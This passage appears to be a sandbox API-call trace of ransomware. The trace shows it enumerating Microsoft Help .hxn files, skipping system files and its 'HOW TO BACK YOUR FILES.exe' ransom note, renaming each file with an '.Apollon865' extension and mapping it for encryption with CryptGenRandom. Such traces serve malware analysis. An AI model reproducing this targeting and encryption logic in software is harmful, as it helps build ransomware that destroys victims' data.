	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="temp") returned -1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="boot") returned 1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.712] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20
	[0078.712] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned 56
	[0078.712] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.VISIO.14.1033.hxn" | out: lpString1="MS.VISIO.14.1033.hxn") returned="MS.VISIO.14.1033.hxn"
	[0078.712] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20
	[0078.712] lstrlenW (lpString="Apollon865") returned 10
	[0078.712] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.712] lstrlenW (lpString=".dll") returned 4
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".dll") returned 1
	[0078.712] lstrlenW (lpString=".lnk") returned 4
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.712] lstrlenW (lpString=".ini") returned 4
	[0078.713] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".ini") returned 1
	[0078.713] lstrlenW (lpString=".sys") returned 4
	[0078.713] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".sys") returned 1
	[0078.713] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20
	[0078.713] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn.Apollon865") returned 65
	[0078.713] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.714] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.715] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=326) returned 1
	[0078.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.715] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.716] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.716] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.716] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0xd8
	[0078.718] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000
	[0078.719] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.719] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.719] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.720] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.720] CloseHandle (hObject=0xd8) returned 1
	[0078.720] CloseHandle (hObject=0x15c) returned 1
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.720] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.721] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24
	[0078.721] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned 54
	[0078.721] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.VISIO.DEV.14.1033.hxn" | out: lpString1="MS.VISIO.DEV.14.1033.hxn") returned="MS.VISIO.DEV.14.1033.hxn"
	[0078.721] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24
	[0078.721] lstrlenW (lpString="Apollon865") returned 10
	[0078.721] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.721] lstrlenW (lpString=".dll") returned 4
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.721] lstrlenW (lpString=".lnk") returned 4
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.721] lstrlenW (lpString=".ini") returned 4
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.721] lstrlenW (lpString=".sys") returned 4
	[0078.721] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.721] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24
	[0078.721] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.Apollon865") returned 69
	[0078.722] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.722] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.723] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=350) returned 1
	[0078.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.723] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.724] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.724] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.724] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.726] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.726] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.727] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.727] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.727] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.728] CloseHandle (hObject=0xd8) returned 1
	[0078.728] CloseHandle (hObject=0x15c) returned 1
	[0078.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.728] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="MSVISI~4.HXN")) returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".") returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="..") returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="windows") returned -1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="temp") returned -1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="boot") returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.728] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31
	[0078.728] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned 58
	[0078.728] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn") returned="MS.VISIO.SHAPESHEET.14.1033.hxn"
	[0078.728] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31
	[0078.728] lstrlenW (lpString="Apollon865") returned 10
	[0078.728] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.728] lstrlenW (lpString=".dll") returned 4
	[0078.728] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".dll") returned 1
	[0078.728] lstrlenW (lpString=".lnk") returned 4
	[0078.729] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.729] lstrlenW (lpString=".ini") returned 4
	[0078.729] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".ini") returned 1
	[0078.729] lstrlenW (lpString=".sys") returned 4
	[0078.729] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".sys") returned 1
	[0078.729] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31
	[0078.729] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.Apollon865") returned 76
	[0078.729] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.730] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.730] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=392) returned 1
	[0078.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.730] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.731] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.731] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.731] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x490, lpName=0x0) returned 0xc0
	[0078.733] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x490) returned 0x100000
	[0078.734] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.735] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.735] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.735] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.735] CloseHandle (hObject=0xc0) returned 1
	[0078.735] CloseHandle (hObject=0x15c) returned 1
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.736] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="MSE1C9~1.HXN")) returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".") returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="..") returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="windows") returned -1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="temp") returned -1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="boot") returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.736] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn") returned 24
	[0078.736] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned 65
	[0078.736] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.VISIO_PRM.14.1033.hxn" | out: lpString1="MS.VISIO_PRM.14.1033.hxn") returned="MS.VISIO_PRM.14.1033.hxn"
	[0078.736] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn") returned 24
	[0078.736] lstrlenW (lpString="Apollon865") returned 10
	[0078.736] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.736] lstrlenW (lpString=".dll") returned 4
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".dll") returned 1
	[0078.736] lstrlenW (lpString=".lnk") returned 4
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.736] lstrlenW (lpString=".ini") returned 4
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".ini") returned 1
	[0078.736] lstrlenW (lpString=".sys") returned 4
	[0078.736] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".sys") returned 1
	[0078.736] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn") returned 24
	[0078.736] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.Apollon865") returned 69
	[0078.736] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.738] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.739] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=350) returned 1
	[0078.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.739] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.740] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.740] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.740] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xc0
	[0078.741] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.742] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.743] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.743] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
